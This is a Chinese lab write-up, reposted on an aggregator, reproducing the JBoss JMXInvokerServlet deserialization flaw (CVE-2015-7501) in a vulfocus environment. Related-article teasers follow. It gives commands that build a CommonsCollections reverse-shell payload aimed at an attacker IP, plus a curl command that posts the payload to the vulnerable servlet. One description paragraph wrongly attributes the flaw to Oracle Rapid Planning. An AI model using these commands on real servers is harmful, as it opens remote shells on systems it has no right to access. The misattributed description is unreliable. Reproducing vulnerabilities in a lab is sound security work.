JBoss JMXInvokerServlet 反序列化漏洞 CVE-2015-7501 已亲自复现

JBoss JMXInvokerServlet 反序列化漏洞 CVE-2015-7501 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
    • 漏洞利用
  • 修复建议
  • 总结

漏洞名称

漏洞描述

在Oracle Rapid Planning 12.1/12.2.2中发现了一个被归类为“严重”的漏洞。受到影响的是一些未知的组件处理中间层。升级可消除此漏洞。在泄露漏洞后立即发布了可能的缓解措施。

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

Redhat Jboss_Operations_Network 3.0
Redhat Jboss_Enterprise_Brms_Platform 5.0.0
Redhat Jboss_Enterprise_Application_Platform 4.3.0
Redhat Jboss_Enterprise_Application_Platform 5.0.0
Redhat Jboss_Data_Virtualization 5.0.0
Redhat Jboss_Enterprise_Application_Platform 6.0.0
Redhat Xpaas 3.0.0
Redhat Jboss_Enterprise_Soa_Platform 5.0.0
Redhat Jboss_Fuse_Service_Works 6.0
Redhat Subscription_Asset_Manager 1.3.0
Redhat Jboss_Bpm_Suite 6.0.0
Redhat Data_Grid 6.0.0
Redhat Jboss_A-Mq 6.0.0
Redhat Jboss_Fuse 6.0.0
Redhat Jboss_Portal 6.0.0
Redhat Jboss_Data_Virtualization 6.0.0
Redhat Openshift 3.0
Redhat Jboss_Enterprise_Brms_Platform 6.0.0
Redhat Jboss_Enterprise_Web_Server 3.0.0

漏洞复现

环境搭建

受害者IP:192.168.63.129:65336
攻击者IP:192.168.63.1

vulfocus下载链接

https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git

启动vulfocus

docker-compose up -d 

环境启动后,访问http://192.168.63.129:65336即可看到一个Jboss页面,说明已成功启动。

在这里插入图片描述

访问路径/invoker/JMXInvokerServlet,若提示JMXInvokerServlet文件下载则说明可能存在漏洞;
在这里插入图片描述

漏洞利用

通过借助ysoserial的eCommonsCollections5利用链来复现。生成Payload,生成编译后的Java文件
ReverseShellCommonsCollectionsHashMap.class,生成ReverseShellCommonsCollectionsHashMap.ser文件,进行反弹shell。

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.63.1:7777

在这里插入图片描述

curl http://192.168.63.129:65336/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

使用burp看看响应体会返回什么,抓取原始请求的响应。

在这里插入图片描述

由于在处理/invoker/JMXInvokerServlet请求的时候会读取用户传入的对象,那我们可以构造恶意的数据传入,当jboss处理该数据时即可执行该恶意数据,从而达到执行任意代码的效果;

将生成的ReverseShellCommonsCollectionsHashMap.ser下载到本地,burp抓包后修改为post提交方式,接着右击paste from file上传生成的ReverseShellCommonsCollectionsHashMap.ser文件;(注:攻击机要先开启监听)

在这里插入图片描述

修复建议

Red Hat JBoss Portal任意代码执行漏洞(CVE-2015-7501)的补丁— 登录红帽门户安装对应修复版本
补丁链接:https://access.redhat.com/security/vulnerabilities/2059393

总结

如果payload请求成功,在响应头中返回的状态码为200,在响应体中抛出 org.jboss.invocation.InvocationException异常信息,则需要结合网络日志和流量日志进行分析。如果返回其他状态码,则攻击失败。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/579162.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA日志

日志 Slf4j slf4j 的全称是 Simple Loging Facade For Java,即它仅仅是一个为 Java 程序提供日志输出的统一接口,并不是一个具体的日志实现方案,就比如 JDBC 一样,只是一种规则而已。所以单独的 slf4j 是不能工作的,…

如何使用 Matplotlib 绘制 3D 圣诞树

系列文章目录 前言 转自:How to draw a 3D Christmas Tree with Matplotlib | by Timur Bakibayev, Ph.D. | Analytics Vidhya | Mediumhttps://medium.com/analytics-vidhya/how-to-draw-a-3d-christmas-tree-with-matplotlib-aabb9bc27864 因为我们把圣诞树安装…

Sql 动态行转列

SELECT ID, Name, [Month],auth FROM dbo.Test3 数据列表: 1.静态行专列 Select auth, MAX( CASE WHEN [Month] 一月 then Name else null end) 一月, MAX( CASE WHEN [Month] 二月 then Name else null end) 二月, MAX( CASE WHEN…

零基础学Java第一天

1.什么是Java Java是一门编程语言 思考问题: 人和人沟通? 中文 英文 人和计算机沟通? 计算机语言: C C C# php python 2. Java诞生 前身叫Oak(橡树) 目前最流行的版本还是JDK8 3.Java三大平台体系 JavaSE&#xff08…

(企业 / 公司项目)微服务OpenFeign怎么实现服务间调用?(含面试题)

Feign: 远程调用组件使用步骤,理解上面的图  后台系统中, 微服务和微服务之间的调用可以通过Feign组件来完成.  Feign组件集成了Ribbon负载均衡策略(默认开启的, 使用轮询机制),Hystrix熔断器 (默认关闭的, 需要通过配置文件进行设置开启)  被调用的微服务…

【AI服饰】孔雀背景服装_AIGC服饰订制设计咨询产业

服饰系列 AIGC(Artificial Intelligence Generated Content)服饰图是指通过人工智能生成的服装设计图案。随着人工智能技术的不断进步,AIGC服饰图在未来有着广阔的发展空间。 首先,AIGC服饰图可以提供更多的设计可能性。传统的服…

工作实践篇 Flink(一:flink提交jar)

一:参数 flink 模式 – standalone 二:步骤 1. 将本地测试好的代码进行本地运行。确保没问题,进行打包。 2. 找到打好的jar包,将jar包上传到对应的服务器。 3. 执行flink命令,跑代码。 /opt/flink/flink-1.13.6/bi…

连续语义分割(CSS)24种最新经典方法汇总,包含数据回放、自监督、正则化等5个细分方向

连续语义分割(CSS)是计算机视觉中的一个新兴领域,其基本任务是在某一时刻学习预测特定类别的图像分割,并在随后需要的时候连续增加学习类别的数量,同时保持对已有类别的分割能力。这个过程中需要解决的主要挑战包括灾难…

2023年全国职业院校技能大赛网络系统管理网络模块 运维服务器配置

(五)网络运维配置 1.完成整网连通后,进入网络监控运维阶段,运维软件已安装在PC的虚拟机中,通过运维平台监控拓扑中所有网络设备(AP除外)。考试现场提供运维平台登陆的用户名密码信息。 其他的如上使用设备管理地址 2.通过运维平台将被监控设备纳入监控范围;通过拓扑配…

前端实现H265编码的m3u8视频流播放

前言 视频监控是智慧城市、智慧园区等WebGIS类系统中最为常见的硬件对接设备,最常用的监控视频流格式为m3u8格式,但是m3u8格式通常都是h.265编码格式的,我搜遍了几乎所有前端视频播放插件,几乎普通的播放器插件都不支持h.265格式…

Spring Boot整合MyBatis-Plus框架快速上手

最开始,我们要在Java中使用数据库时,需要使用JDBC,创建Connection、ResultSet等,然后我们又对JDBC的操作进行了封装,创建了许多类似于DBUtil等工具类。再慢慢的,出现了一系列持久层的框架:Hiber…

记一次接口交互is开头的属性序列化后“is”丢失问题

问题背景: 今天在做项目联调时调用别人的第三方接口时,发现字段传递不对导致参数传递异常的问题,当时还很奇怪,明白传好着呢,怎么就好端端的出现字段不对的情况呢? 查看发现该字段为boolean类型的isIsRef…

Linux下安装MySQL

Linux下安装MySQL 下载地址:https://dev.mysql.com/downloads/mysql/5.7.html#downloads 解压 tar -xvf mysql-5.7.26-linux-glibc2.12-x86_64.tar 再移动并重命名一下 mv mysql-5.7.26-linux-glibc2.12-x86_64 /usr/local/mysql创建mysql用户组和用户并修改权限…

【回溯】符号三角形问题Python实现

文章目录 [toc]问题描述回溯法时间复杂性Python实现 个人主页:丷从心 系列专栏:回溯法 问题描述 下图是由 14 14 14个“ ”和 14 14 14个“ − - −”组成的符号三角形, 2 2 2个同号下面都是” “, 2 2 2个异号下面都是“ −…

QT编译并部署QtMqtt相关环境+跑测demo【超详细教程】

文章目录 概要整体架构流程▷下载指定版本的QMqtt源码:▷编译后同步MQTT相关文件: 技术名词解释技术实现步骤详解一、编译源码1、编译报错2、解决思路3、编译通过 二、继续完善mqtt应用环境1、打开编译生成的shadow build文件夹2、同步lib3、同步bin4、同…

【Git-IDEA】在 IDEA 中使用 Git(clone、pull、push、merge、建立本地分支与远程分支的连接)

【Git-IDEA】在 IDEA 中使用 Git(clone、pull、push、merge、建立本地分支与远程分支的连接) 1)Gitee2)配置 Git3)初始化本地仓库4)连接远程仓库5)clone5.1.方式一5.2.方式二 6)分支…

react常用Hooks

Hooks是可从函数组件“挂钩”到React状态和生命周期功能的函数。 Hooks在class中是无效的——可在没有class的情况下使用React。(不推荐重写已有组件,但是如果愿意,可以在一些新的组件中使用 Hooks。)React提供一些内置的 Hooks&a…

5G NR无线蜂窝系统的信道估计器设计

文章目录 DMRS简介DMRS类型DMRS频域密度 信道估计实验仿真实验参数实验实验结论 DMRS简介 DMRS类型 类型A:DMRS位于时隙的第二个或第三个OFDM符号,由14个OFDM符号组成,当数据占据大部分时隙时使用A型映射。 类型B:用在URLLC中&a…

鸿蒙系列--组件介绍之其他基础组件(上)

上回介绍了基础组件中最常用的组件常用的基础组件,接下来还有其他基础组件 一、Blank 描述:空白填充组件 功能:在容器主轴方向上,具有自动填充容器空余部分的能力。只有当父组件为Row/Column时生效 子组件:无 Blan…

Spring之提前编译:AOT

学习的最大理由是想摆脱平庸,早一天就多一份人生的精彩;迟一天就多一天平庸的困扰。各位小伙伴,如果您: 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持,想组团高效学习… 想写博客但无从下手,急需…